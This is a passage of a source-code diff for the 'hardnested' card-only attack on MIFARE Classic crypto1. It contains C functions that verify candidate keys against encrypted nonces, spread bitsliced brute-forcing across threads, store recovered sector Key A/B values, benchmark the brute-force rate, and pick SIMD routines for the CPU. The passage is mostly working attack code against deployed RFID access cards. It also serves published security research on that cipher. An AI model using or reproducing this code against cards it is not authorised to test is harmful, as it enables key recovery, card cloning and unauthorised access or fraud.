4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
|
||||||
|
4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
|
||||||
|
};
|
||||||
|
|
||||||
|
return trailing_zeros_LUT[byte];
|
||||||
|
}
|
||||||
|
|
||||||
|
bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
for (uint16_t test_first_byte = 1; test_first_byte < 256; test_first_byte++) {
|
||||||
|
noncelistentry_t *test_nonce = nonces[best_first_bytes[test_first_byte]].first;
|
||||||
|
while (test_nonce != NULL) {
|
||||||
|
pcs.odd = odd;
|
||||||
|
pcs.even = even;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
|
||||||
|
uint8_t test_par_enc_bit = (test_nonce->par_enc >> byte_pos) & 0x01; // the encoded parity bit
|
||||||
|
uint8_t test_byte_enc = (test_nonce->nonce_enc >> (8 * byte_pos)) & 0xff; // the encoded nonce byte
|
||||||
|
uint8_t test_byte_dec = crypto1_byte(&pcs, test_byte_enc /* ^ (cuid >> (8*byte_pos)) */, true) ^ test_byte_enc; // decode the nonce byte
|
||||||
|
uint8_t ks_par = filter(pcs.odd); // the keystream bit to encode/decode the parity bit
|
||||||
|
uint8_t test_par_enc2 = ks_par ^ evenparity8(test_byte_dec); // determine the decoded byte's parity and encode it
|
||||||
|
if (test_par_enc_bit != test_par_enc2) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
test_nonce = test_nonce->next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void*
|
||||||
|
#ifdef __has_attribute
|
||||||
|
#if __has_attribute(force_align_arg_pointer)
|
||||||
|
__attribute__((force_align_arg_pointer))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
crack_states_thread(void* x) {
|
||||||
|
|
||||||
|
struct arg {
|
||||||
|
bool silent;
|
||||||
|
int thread_ID;
|
||||||
|
uint32_t cuid;
|
||||||
|
uint32_t num_acquired_nonces;
|
||||||
|
uint64_t maximum_states;
|
||||||
|
noncelist_t *nonces;
|
||||||
|
uint8_t* best_first_bytes;
|
||||||
|
uint8_t trgBlock;
|
||||||
|
uint8_t trgKey;
|
||||||
|
} *thread_arg;
|
||||||
|
|
||||||
|
thread_arg = (struct arg *) x;
|
||||||
|
const int thread_id = thread_arg->thread_ID;
|
||||||
|
uint32_t current_bucket = thread_id;
|
||||||
|
while (current_bucket < bucket_count) {
|
||||||
|
statelist_t *bucket = buckets[current_bucket];
|
||||||
|
if (bucket) {
|
||||||
|
const uint64_t key = crack_states_bitsliced(thread_arg->cuid, thread_arg->best_first_bytes, bucket, &keys_found, &num_keys_tested, nonces_to_bruteforce, bf_test_nonce_2nd_byte, thread_arg->nonces);
|
||||||
|
if (key != -1) {
|
||||||
|
__sync_fetch_and_add(&keys_found, 1);
|
||||||
|
char progress_text[80];
|
||||||
|
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
|
||||||
|
if (thread_arg->trgKey == MC_AUTH_A){
|
||||||
|
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
|
||||||
|
num_to_bytes(key, 6, t.sectors[thread_arg->trgBlock / 4].KeyA);
|
||||||
|
} else {
|
||||||
|
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
|
||||||
|
num_to_bytes(key, 6, t.sectors[thread_arg->trgBlock / 4].KeyB);
|
||||||
|
}
|
||||||
|
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey, true);
|
||||||
|
break;
|
||||||
|
} else if (keys_found) {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
if (!thread_arg->silent) {
|
||||||
|
char progress_text[80];
|
||||||
|
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
|
||||||
|
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
|
||||||
|
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
current_bucket += num_CPUs();
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte) {
|
||||||
|
// we do bitsliced brute forcing with best_first_bytes[0] only.
|
||||||
|
// Extract the corresponding 2nd bytes
|
||||||
|
noncelistentry_t *test_nonce = nonces[best_first_byte].first;
|
||||||
|
uint32_t i = 0;
|
||||||
|
while (test_nonce != NULL) {
|
||||||
|
bf_test_nonce[i] = test_nonce->nonce_enc;
|
||||||
|
bf_test_nonce_par[i] = test_nonce->par_enc;
|
||||||
|
bf_test_nonce_2nd_byte[i] = (test_nonce->nonce_enc >> 16) & 0xff;
|
||||||
|
test_nonce = test_nonce->next;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
nonces_to_bruteforce = i;
|
||||||
|
|
||||||
|
uint8_t best_4[4] = {0};
|
||||||
|
int sum_best = -1;
|
||||||
|
for (uint16_t n1 = 0; n1 < nonces_to_bruteforce; n1++) {
|
||||||
|
for (uint16_t n2 = 0; n2 < nonces_to_bruteforce; n2++) {
|
||||||
|
if (n2 != n1) {
|
||||||
|
for (uint16_t n3 = 0; n3 < nonces_to_bruteforce; n3++) {
|
||||||
|
if ((n3 != n2 && n3 != n1) || nonces_to_bruteforce < 3
|
||||||
|
) {
|
||||||
|
for (uint16_t n4 = 0; n4 < nonces_to_bruteforce; n4++) {
|
||||||
|
if ((n4 != n3 && n4 != n2 && n4 != n1) || nonces_to_bruteforce < 4
|
||||||
|
) {
|
||||||
|
int sum = nonces_to_bruteforce > 1 ? trailing_zeros(bf_test_nonce_2nd_byte[n1] ^ bf_test_nonce_2nd_byte[n2]) : 0.0
|
||||||
|
+ nonces_to_bruteforce > 2 ? trailing_zeros(bf_test_nonce_2nd_byte[n2] ^ bf_test_nonce_2nd_byte[n3]) : 0.0
|
||||||
|
+ nonces_to_bruteforce > 3 ? trailing_zeros(bf_test_nonce_2nd_byte[n3] ^ bf_test_nonce_2nd_byte[n4]) : 0.0;
|
||||||
|
if (sum > sum_best) {
|
||||||
|
sum_best = sum;
|
||||||
|
best_4[0] = n1;
|
||||||
|
best_4[1] = n2;
|
||||||
|
best_4[2] = n3;
|
||||||
|
best_4[3] = n4;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t bf_test_nonce_temp[4];
|
||||||
|
uint8_t bf_test_nonce_par_temp[4];
|
||||||
|
uint8_t bf_test_nonce_2nd_byte_temp[4];
|
||||||
|
for (uint8_t i = 0; i < 4 && i < nonces_to_bruteforce; i++) {
|
||||||
|
bf_test_nonce_temp[i] = bf_test_nonce[best_4[i]];
|
||||||
|
|
||||||
|
bf_test_nonce_par_temp[i] = bf_test_nonce_par[best_4[i]];
|
||||||
|
bf_test_nonce_2nd_byte_temp[i] = bf_test_nonce_2nd_byte[best_4[i]];
|
||||||
|
}
|
||||||
|
for (uint8_t i = 0; i < 4 && i < nonces_to_bruteforce; i++) {
|
||||||
|
bf_test_nonce[i] = bf_test_nonce_temp[i];
|
||||||
|
bf_test_nonce_par[i] = bf_test_nonce_par_temp[i];
|
||||||
|
bf_test_nonce_2nd_byte[i] = bf_test_nonce_2nd_byte_temp[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
|
||||||
|
bool silent = (bf_rate != NULL);
|
||||||
|
keys_found = 0;
|
||||||
|
num_keys_tested = 0;
|
||||||
|
|
||||||
|
bitslice_test_nonces(nonces_to_bruteforce, bf_test_nonce, bf_test_nonce_par);
|
||||||
|
|
||||||
|
// count number of states to go
|
||||||
|
bucket_count = 0;
|
||||||
|
for (statelist_t *p = candidates; p != NULL; p = p->next) {
|
||||||
|
if (p->states[ODD_STATE] != NULL && p->states[EVEN_STATE] != NULL) {
|
||||||
|
buckets[bucket_count] = p;
|
||||||
|
bucket_count++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t num_core = num_CPUs();
|
||||||
|
pthread_t* threads = (pthread_t*)malloc(sizeof(pthread_t) * num_core);
|
||||||
|
uint64_t start_time = msclock();
|
||||||
|
|
||||||
|
struct args {
|
||||||
|
bool silent;
|
||||||
|
int thread_ID;
|
||||||
|
uint32_t cuid;
|
||||||
|
uint32_t num_acquired_nonces;
|
||||||
|
uint64_t maximum_states;
|
||||||
|
noncelist_t *nonces;
|
||||||
|
uint8_t *best_first_bytes;
|
||||||
|
uint8_t trgBlock;
|
||||||
|
uint8_t trgKey;
|
||||||
|
} *thread_args = malloc(num_core * sizeof(*thread_args));
|
||||||
|
|
||||||
|
for (uint8_t i = 0; i < num_core; i++) {
|
||||||
|
thread_args[i].thread_ID = i;
|
||||||
|
thread_args[i].silent = silent;
|
||||||
|
thread_args[i].cuid = cuid;
|
||||||
|
thread_args[i].num_acquired_nonces = num_acquired_nonces;
|
||||||
|
thread_args[i].maximum_states = maximum_states;
|
||||||
|
thread_args[i].nonces = nonces;
|
||||||
|
thread_args[i].best_first_bytes = best_first_bytes;
|
||||||
|
thread_args[i].trgBlock = trgBlock;
|
||||||
|
thread_args[i].trgKey = trgKey;
|
||||||
|
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
|
||||||
|
}
|
||||||
|
for (uint8_t i = 0; i < num_core; i++) {
|
||||||
|
pthread_join(threads[i], 0);
|
||||||
|
}
|
||||||
|
free(thread_args);
|
||||||
|
free(threads);
|
||||||
|
uint64_t elapsed_time = msclock() - start_time;
|
||||||
|
|
||||||
|
if (bf_rate != NULL) {
|
||||||
|
*bf_rate = (float) num_keys_tested / ((float) elapsed_time / 1000.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (keys_found != 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void _read(void *buf, size_t size, size_t count, uint8_t *stream, size_t *pos) {
|
||||||
|
size_t len = size * count;
|
||||||
|
memcpy(buf, &stream[*pos], len);
|
||||||
|
*pos += len;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool read_bench_data(statelist_t *test_candidates) {
|
||||||
|
uint8_t *bench_data = bf_bench_data_bin;
|
||||||
|
size_t pos = 0;
|
||||||
|
|
||||||
|
uint32_t temp = 0;
|
||||||
|
uint32_t num_states = 0;
|
||||||
|
uint32_t states_read = 0;
|
||||||
|
|
||||||
|
_read(&nonces_to_bruteforce, 1, sizeof (nonces_to_bruteforce), bench_data, &pos);
|
||||||
|
for (uint16_t i = 0; i < nonces_to_bruteforce && i < 256; i++) {
|
||||||
|
_read(&bf_test_nonce[i], 1, sizeof (uint32_t), bench_data, &pos);
|
||||||
|
bf_test_nonce_2nd_byte[i] = (bf_test_nonce[i] >> 16) & 0xff;
|
||||||
|
_read(&bf_test_nonce_par[i], 1, sizeof (uint8_t), bench_data, &pos);
|
||||||
|
}
|
||||||
|
_read(&num_states, 1, sizeof (uint32_t), bench_data, &pos);
|
||||||
|
for (states_read = 0; states_read < MIN(num_states, TEST_BENCH_SIZE); states_read++) {
|
||||||
|
_read(test_candidates->states[EVEN_STATE] + states_read, 1, sizeof (uint32_t), bench_data, &pos);
|
||||||
|
}
|
||||||
|
for (uint32_t i = states_read; i < TEST_BENCH_SIZE; i++) {
|
||||||
|
test_candidates->states[EVEN_STATE][i] = test_candidates->states[EVEN_STATE][i - states_read];
|
||||||
|
}
|
||||||
|
for (uint32_t i = states_read; i < num_states; i++) {
|
||||||
|
_read(&temp, 1, sizeof (uint32_t), bench_data, &pos);
|
||||||
|
}
|
||||||
|
for (states_read = 0; states_read < MIN(num_states, TEST_BENCH_SIZE); states_read++) {
|
||||||
|
_read(test_candidates->states[ODD_STATE] + states_read, 1, sizeof (uint32_t), bench_data, &pos);
|
||||||
|
}
|
||||||
|
for (uint32_t i = states_read; i < TEST_BENCH_SIZE; i++) {
|
||||||
|
test_candidates->states[ODD_STATE][i] = test_candidates->states[ODD_STATE][i - states_read];
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
float brute_force_benchmark() {
|
||||||
|
uint8_t num_core = num_CPUs();
|
||||||
|
statelist_t* test_candidates = malloc(num_core * sizeof(*test_candidates));
|
||||||
|
|
||||||
|
test_candidates[0].states[ODD_STATE] = malloc((TEST_BENCH_SIZE + 1) * sizeof (uint32_t));
|
||||||
|
test_candidates[0].states[EVEN_STATE] = malloc((TEST_BENCH_SIZE + 1) * sizeof (uint32_t));
|
||||||
|
for (uint8_t i = 0; i < num_core - 1; i++) {
|
||||||
|
test_candidates[i].next = test_candidates + i + 1;
|
||||||
|
test_candidates[i + 1].states[ODD_STATE] = test_candidates[0].states[ODD_STATE];
|
||||||
|
test_candidates[i + 1].states[EVEN_STATE] = test_candidates[0].states[EVEN_STATE];
|
||||||
|
}
|
||||||
|
test_candidates[num_core - 1].next = NULL;
|
||||||
|
|
||||||
|
if (!read_bench_data(test_candidates)) {
|
||||||
|
PrintAndLog(true, "Couldn't read benchmark data. Assuming brute force rate of %1.0f states per second", DEFAULT_BRUTE_FORCE_RATE);
|
||||||
|
return DEFAULT_BRUTE_FORCE_RATE;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (uint8_t i = 0; i < num_core; i++) {
|
||||||
|
test_candidates[i].len[ODD_STATE] = TEST_BENCH_SIZE;
|
||||||
|
test_candidates[i].len[EVEN_STATE] = TEST_BENCH_SIZE;
|
||||||
|
test_candidates[i].states[ODD_STATE][TEST_BENCH_SIZE] = -1;
|
||||||
|
test_candidates[i].states[EVEN_STATE][TEST_BENCH_SIZE] = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) num_core;
|
||||||
|
|
||||||
|
float bf_rate;
|
||||||
|
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
|
||||||
|
|
||||||
|
free(test_candidates[0].states[ODD_STATE]);
|
||||||
|
free(test_candidates[0].states[EVEN_STATE]);
|
||||||
|
free(test_candidates);
|
||||||
|
return bf_rate;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
37
src/hardnested/hardnested_bruteforce.h
Normal file
37
src/hardnested/hardnested_bruteforce.h
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#ifndef HARDNESTED_BRUTEFORCE_H__
|
||||||
|
#define HARDNESTED_BRUTEFORCE_H__
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include "../cmdhfmfhard.h"
|
||||||
|
#include "../mfoc.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint32_t *states[2];
|
||||||
|
uint32_t len[2];
|
||||||
|
void* next;
|
||||||
|
} statelist_t;
|
||||||
|
|
||||||
|
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
|
||||||
|
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
|
||||||
|
extern float brute_force_benchmark();
|
||||||
|
extern uint8_t trailing_zeros(uint8_t byte);
|
||||||
|
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);
|
||||||
|
|
||||||
|
#endif
|
||||||
396
src/hardnested/hardnested_cpu_dispatch.c
Normal file
396
src/hardnested/hardnested_cpu_dispatch.c
Normal file
@ -0,0 +1,396 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.ch b
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// some helper functions which can benefit from SIMD instructions or other special instructions
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "hardnested_cpu_dispatch.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#include <intrin.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef X86_SIMD
|
||||||
|
// pointers to functions:
|
||||||
|
malloc_bitarray_t* malloc_bitarray_function_p = &malloc_bitarray_dispatch;
|
||||||
|
free_bitarray_t* free_bitarray_function_p = &free_bitarray_dispatch;
|
||||||
|
bitarray_AND_t* bitarray_AND_function_p = &bitarray_AND_dispatch;
|
||||||
|
count_bitarray_AND_t* count_bitarray_AND_function_p = &count_bitarray_AND_dispatch;
|
||||||
|
count_bitarray_low20_AND_t* count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_dispatch;
|
||||||
|
bitarray_AND4_t* bitarray_AND4_function_p = &bitarray_AND4_dispatch;
|
||||||
|
bitarray_OR_t* bitarray_OR_function_p = &bitarray_OR_dispatch;
|
||||||
|
count_bitarray_AND2_t* count_bitarray_AND2_function_p = &count_bitarray_AND2_dispatch;
|
||||||
|
count_bitarray_AND3_t* count_bitarray_AND3_function_p = &count_bitarray_AND3_dispatch;
|
||||||
|
count_bitarray_AND4_t* count_bitarray_AND4_function_p = &count_bitarray_AND4_dispatch;
|
||||||
|
|
||||||
|
crack_states_bitsliced_t* crack_states_bitsliced_function_p = &crack_states_bitsliced_dispatch;
|
||||||
|
bitslice_test_nonces_t* bitslice_test_nonces_function_p = &bitslice_test_nonces_dispatch;
|
||||||
|
|
||||||
|
SIMDExecInstr GetSIMDInstr() {
|
||||||
|
SIMDExecInstr instr = SIMD_NONE;
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
int cpuid[4];
|
||||||
|
__cpuid(cpuid, 1);
|
||||||
|
if (cpuid[1] >> 16 & 1) instr = SIMD_AVX512;
|
||||||
|
else if (cpuid[1] >> 5 & 1) instr = SIMD_AVX2;
|
||||||
|
else if (cpuid[2] >> 28 & 1) instr = SIMD_AVX;
|
||||||
|
else if (cpuid[3] >> 26 & 1) instr = SIMD_SSE2;
|
||||||
|
#else
|
||||||
|
if (__builtin_cpu_supports("avx512f")) instr = SIMD_AVX512;
|
||||||
|
else if (__builtin_cpu_supports("avx2")) instr = SIMD_AVX2;
|
||||||
|
else if (__builtin_cpu_supports("avx")) instr = SIMD_AVX;
|
||||||
|
else if (__builtin_cpu_supports("sse2")) instr = SIMD_SSE2;
|
||||||
|
#endif
|
||||||
|
return instr;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void NoCpu() {
|
||||||
|
printf("\nThis program requires at least an SSE2 capable CPU. Exiting...\n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// determine the available instruction set at runtime and call the correct function
|
||||||
|
|
||||||
|
uint32_t* malloc_bitarray_dispatch(uint32_t x) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
malloc_bitarray_function_p = &malloc_bitarray_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
malloc_bitarray_function_p = &malloc_bitarray_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
malloc_bitarray_function_p = &malloc_bitarray_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
malloc_bitarray_function_p = &malloc_bitarray_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*malloc_bitarray_function_p)(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_bitarray_dispatch(uint32_t* x) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
free_bitarray_function_p = &free_bitarray_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
free_bitarray_function_p = &free_bitarray_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
free_bitarray_function_p = &free_bitarray_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
free_bitarray_function_p = &free_bitarray_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
(*free_bitarray_function_p)(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND_dispatch(uint32_t* A, uint32_t* B) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
bitarray_AND_function_p = &bitarray_AND_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
bitarray_AND_function_p = &bitarray_AND_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
bitarray_AND_function_p = &bitarray_AND_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
bitarray_AND_function_p = &bitarray_AND_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
(*bitarray_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND_dispatch(uint32_t* A, uint32_t* B) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
count_bitarray_AND_function_p = &count_bitarray_AND_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
count_bitarray_AND_function_p = &count_bitarray_AND_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
count_bitarray_AND_function_p = &count_bitarray_AND_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
count_bitarray_AND_function_p = &count_bitarray_AND_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*count_bitarray_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_low20_AND_dispatch(uint32_t* A, uint32_t* B) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
count_bitarray_low20_AND_function_p = &count_bitarray_low20_AND_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*count_bitarray_low20_AND_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_AND4_dispatch(uint32_t* A, uint32_t* B, uint32_t* C, uint32_t* D) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
bitarray_AND4_function_p = &bitarray_AND4_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
bitarray_AND4_function_p = &bitarray_AND4_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
bitarray_AND4_function_p = &bitarray_AND4_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
bitarray_AND4_function_p = &bitarray_AND4_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
(*bitarray_AND4_function_p)(A, B, C, D);
|
||||||
|
}
|
||||||
|
|
||||||
|
void bitarray_OR_dispatch(uint32_t* A, uint32_t* B) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
bitarray_OR_function_p = &bitarray_OR_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
bitarray_OR_function_p = &bitarray_OR_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
bitarray_OR_function_p = &bitarray_OR_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
bitarray_OR_function_p = &bitarray_OR_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
(*bitarray_OR_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND2_dispatch(uint32_t* A, uint32_t* B) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX2;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX:
|
||||||
|
count_bitarray_AND2_function_p = &count_bitarray_AND2_AVX;
|
||||||
|
break;
|
||||||
|
case SIMD_SSE2:
|
||||||
|
count_bitarray_AND2_function_p = &count_bitarray_AND2_SSE2;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
NoCpu();
|
||||||
|
}
|
||||||
|
|
||||||
|
// call the most optimized function for this CPU
|
||||||
|
return (*count_bitarray_AND2_function_p)(A, B);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint32_t count_bitarray_AND3_dispatch(uint32_t* A, uint32_t* B, uint32_t* C) {
|
||||||
|
switch (GetSIMDInstr()) {
|
||||||
|
case SIMD_AVX512:
|
||||||
|
count_bitarray_AND3_function_p = &count_bitarray_AND3_AVX512;
|
||||||
|
break;
|
||||||
|
case SIMD_AVX2:
|
||||||
|
